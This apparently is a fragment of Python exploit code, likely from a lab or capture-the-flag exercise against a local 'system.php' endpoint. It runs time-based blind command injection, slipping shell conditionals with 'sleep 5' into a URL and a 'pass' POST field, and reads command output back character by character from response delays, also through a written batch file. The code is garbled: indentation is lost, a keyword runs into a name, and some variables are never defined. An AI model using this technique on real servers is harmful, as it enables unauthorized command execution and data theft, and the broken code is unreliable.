defget_result(cmd ,url): result = "" for i in range(1, 65535): for s in str_zf: payload = "if [ `{}|base32|cut -c {}` = '{}' ];then sleep 5;fi".format(cmd, i, s) url_payload = url + payload response = requests.get(url_payload) time = response.elapsed.total_seconds() if time > 3: result += s print(result) break
cmd = [command, base64, base64_clean,echo_b_bat, echo_b_bat2, start, echo_a_bat,echo_a_bat1,echo_a_bat2,echo_a_bat3,echo_end] url = "http://127.0.0.1/system.php" for i in cmd: data = { "pass": i } requests.post(url, data=data) print("[+]init success")
bp = string.ascii_letters + string.digits + "+/=" cmd_base64 = ""
for i in range(1,65535): for s in bp: data = { "pass": "d:\\a.bat " + cmd_base64 + s } response = requests.post(url, data=data) time = response.elapsed.total_seconds() if time > 3: cmd_base64 += s print(cmd_base64) break